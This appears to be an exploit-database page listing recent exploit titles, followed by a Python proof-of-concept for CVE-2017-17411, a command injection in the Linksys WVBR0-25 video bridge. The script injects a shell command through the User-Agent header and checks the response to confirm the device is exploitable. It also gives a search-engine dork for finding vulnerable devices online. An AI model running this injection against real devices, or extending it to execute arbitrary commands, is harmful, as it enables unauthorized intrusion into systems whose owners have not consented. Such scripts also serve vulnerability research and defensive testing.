f76fbb1072
19 changes to exploits/shellcodes CDex 1.96 - Buffer Overflow Zoom Linux Client 2.0.106600.0904 - Command Injection Zoom Linux Client 2.0.106600.0904 - Stack-Based Buffer Overflow Firejail - Local Privilege Escalation Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape Linux kernel < 4.10.15 - Race Condition Privilege Escalation Outlook for Android - Attachment Download Directory Traversal Western Digital MyCloud - 'multi_uploadify' File Upload (Metasploit) GoAhead httpd 2.5 < 3.6.5 - 'LD_PRELOAD' Remote Code Execution Joomla! Component Guru Pro - SQL Injection Joomla! Component Guru Pro - 'Itemid' SQL Injection Joomla! Component User Bench 1.0 - 'userid' SQL Injection Joomla! Component My Projects 2.0 - SQL Injection vBulletin 5 - 'routestring' Unauthenticated Remote Code Execution vBulletin 5 - 'cacheTemplates' Unauthenticated Remote Arbitrary File Deletion Linksys WVBR0 - 'User-Agent' Remote Command Injection Joomla! Component JB Visa 1.0 - 'visatype' SQL Injection Joomla! Component Guru Pro - 'promocode' SQL Injection Monstra CMS 3.0.4 - Arbitrary File Upload / Remote Code Execution
70 lines
No EOL
1.6 KiB
Python
Executable file
70 lines
No EOL
1.6 KiB
Python
Executable file
#!/usr/bin/python
|
|
# -*- coding: utf-8 -*-
|
|
|
|
# Author: Nixawk
|
|
# CVE-2017-17411
|
|
# Linksys WVBR0 25 Command Injection
|
|
|
|
"""
|
|
$ python2.7 exploit-CVE-2017-17411.py
|
|
[*] Usage: python exploit-CVE-2017-17411.py <URL>
|
|
|
|
$ python2.7 exploit-CVE-2017-17411.py http://example.com/
|
|
[+] Target is exploitable by CVE-2017-17411
|
|
"""
|
|
|
|
import requests
|
|
|
|
|
|
def check(url):
|
|
payload = '"; echo "admin'
|
|
md5hash = "456b7016a916a4b178dd72b947c152b7" # echo "admin" | md5sum
|
|
|
|
resp = send_http_request(url, payload)
|
|
|
|
if not resp:
|
|
return False
|
|
|
|
lines = resp.text.splitlines()
|
|
sys_cmds = filter(lambda x: "config.webui sys_cmd" in x, lines)
|
|
|
|
if not any([payload in sys_cmd for sys_cmd in sys_cmds]):
|
|
return False
|
|
|
|
if not any([md5hash in sys_cmd for sys_cmd in sys_cmds]):
|
|
return False
|
|
|
|
print("[+] Target is exploitable by CVE-2017-17411 ")
|
|
return True
|
|
|
|
|
|
def send_http_request(url, payload):
|
|
headers = {
|
|
'User-Agent': payload
|
|
}
|
|
|
|
response = None
|
|
try:
|
|
response = requests.get(url, headers=headers)
|
|
except Exception as err:
|
|
log.exception(err)
|
|
|
|
return response
|
|
|
|
|
|
if __name__ == '__main__':
|
|
import sys
|
|
|
|
if len(sys.argv) != 2:
|
|
print("[*] Usage: python %s <URL>" % sys.argv[0])
|
|
sys.exit(0)
|
|
|
|
check(sys.argv[1])
|
|
|
|
|
|
# google dork: "Vendor:LINKSYS ModelName:WVBR0-25-US"
|
|
|
|
## References
|
|
|
|
# https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
|
|
# https://thehackernews.com/2017/12/directv-wvb-hack.html |